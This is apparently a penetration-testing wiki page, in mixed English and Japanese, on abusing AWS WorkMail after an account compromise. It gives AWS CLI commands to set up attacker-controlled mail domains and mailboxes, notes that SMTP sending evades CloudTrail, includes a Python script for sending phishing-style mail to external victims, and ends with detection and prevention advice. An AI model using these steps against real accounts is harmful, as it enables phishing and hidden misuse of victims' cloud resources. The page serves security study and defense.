# AWS - WorkMail Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## WorkMailを悪用してSES sandboxを回避する

Even if SES is stuck in the **sandbox** (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. An attacker with long-term keys can spin up disposable mail infra and start sending immediately:

1. **Create a WorkMail org (region-scoped)**
```bash
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
```
2. **Verify attacker-controlled domains** (WorkMail invokes SES APIs as `workmail.amazonaws.com`):
```bash
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
```
3. **Provision mailbox users** and register them:
```bash
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
```

Notes:
- AWSに記載されているデフォルトの**recipient cap**：**組織あたり1日100,000の外部受信者**（ユーザー合算）。
- ドメイン検証のアクティビティはCloudTrailのSES配下に表示されますが、**`invokedBy`: `workmail.<region>.amazonaws.com`** として記録されるため、SESの検証イベントがSESのキャンペーンではなくWorkMailのセットアップに紐づく場合があります。
- WorkMailのメールボックスユーザーは、IAMユーザーとは独立した**application-layer persistence**になります。

## 送信経路とテレメトリのギャップ

### Web client (WorkMail UI)
- 送信はCloudTrail上で**`ses:SendRawEmail`**イベントとして表れます。
- `userIdentity.type` = `AWSService`、`invokedBy/sourceIPAddress/userAgent` = `workmail.<region>.amazonaws.com` のため、**実際のクライアントIPは隠蔽されます**。
- `requestParameters`は依然として送信者をleakします（`source`、`fromArn`、`sourceArn`、configuration set）ので、新しく検証されたドメイン/メールボックスと関連付けることができます。

### SMTP (stealthiest)
- Endpoint: `smtp.mail.<region>.awsapps.com:465` (SMTP over SSL) with the mailbox password.
- **No CloudTrail data events** are generated for SMTP delivery, even when SES data events are enabled.
- 理想的な検知ポイントは**org/domain/user provisioning**および、その後のweb送信の`SendRawEmail`イベントで参照されるSES identity ARNです。

<details>
<summary>WorkMail経由のSMTP送信例</summary>
```python
import smtplib
from email.message import EmailMessage

SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com"
SMTP_PORT = 465
EMAIL_ADDRESS = "marketing@attacker-domain.com"
EMAIL_PASSWORD = "SuperSecretPassword!"

target = "victim@example.com"  # can be unverified/external
msg = EmailMessage()
msg["Subject"] = "WorkMail SMTP"
msg["From"] = EMAIL_ADDRESS
msg["To"] = target
msg.set_content("Delivered via WorkMail SMTP")

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp:
smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
smtp.send_message(msg)
```
</details>

## 検出に関する考慮事項

- WorkMailが不要な場合、組織レベルで**SCPs**（`workmail:*` deny）を使用してブロックする。
- プロビジョニング時にアラートを出す: `workmail:CreateOrganization`、`workmail:CreateUser`、`workmail:RegisterToWorkMail`、および `invokedBy=workmail.amazonaws.com` を含む SES の検証（`ses:VerifyDomainIdentity`、`ses:VerifyDomainDkim`）。
- identity ARNsが新しいドメインを参照し、送信元の IP/UA が `workmail.<region>.amazonaws.com` と等しいような異常な **`ses:SendRawEmail`** イベントを監視する。

## References

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

{{#include ../../../../banners/hacktricks-training.md}}
